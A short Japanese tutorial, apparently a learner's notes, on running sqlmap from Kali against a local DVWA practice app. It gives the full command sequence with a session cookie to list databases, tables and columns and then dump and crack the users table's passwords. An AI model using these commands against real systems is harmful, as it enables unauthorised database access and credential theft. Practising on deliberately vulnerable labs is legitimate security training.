SQLmapインジェクション演習dvwa
知識ポイントを記録する
最近、kaliの使い方を学んでいます。今日は、kaliでsqlmapを使用して、sqlインジェクションのデモンストレーション
を行います。低レベルのdvwaから始めます。実際、同じ操作を中レベルと高レベルでも実行できます。
GET送信パラメーター
フォームまたはF12を介してネットワークモジュールを監視することにより、低レベルのdvwaがGET送信パラメーターであることがわかります。もちろん、これは、burpsuite切り捨てによっても監視できます。
クッキーを抽出する
dvwaはパラメーターを送信するためにログインする必要があるため、Cookieを介してsqlmapを実行し、F12から直接Cookieを抽出する必要があります。
バーストデータベース名
sqlmap - u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie "security=low; PHPSESSID=2e7f961f6c63f146de8769778081627f" --dbs
示されているようにデータベース名を取得します
バーストテーブル名
私たちはdvwaなので、データベース名としてdvwaを選択し、dvwaのテーブル名を分解します
sqlmap - u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie "security=low; PHPSESSID=2e7f961f6c63f146de8769778081627f" -D dvwa --tables
dvwaのテーブル名に示されているように、
ユーザーに間違いなく関心があります。必要なのはアカウント番号とパスワードだけなので、ユーザーの次の列名は
バーストリスト
sqlmap - u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie "security=low; PHPSESSID=2e7f961f6c63f146de8769778081627f" -D dvwa --T users --columns
次のように列名を取得します。ユーザーとパスワードに興味があります。
アカウントとパスワードを分解する
次のステップは、ユーザーとパスワードのデータを分解することです。ここで言いたいのは、データが分解されたときにMD5を直接復号化できるということです。次に、Kaliに付属の辞書を使用して復号化するかどうかを尋ねるオプションプロンプトが表示されます。
sqlmap - u “http://127.0.0.1/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#” --cookie "security=low; PHPSESSID=2e7f961f6c63f146de8769778081627f" -D dvwa --T users -C user,password --dump
最後に、目的を達成するためにアカウント番号とパスワードを取得します。
上記のプロセスは、sqlmapを使用した自動インジェクションのプロセスです。もっと練習できます。中レベルと高レベルについては、理由は同じです。自分で試すのが最善です。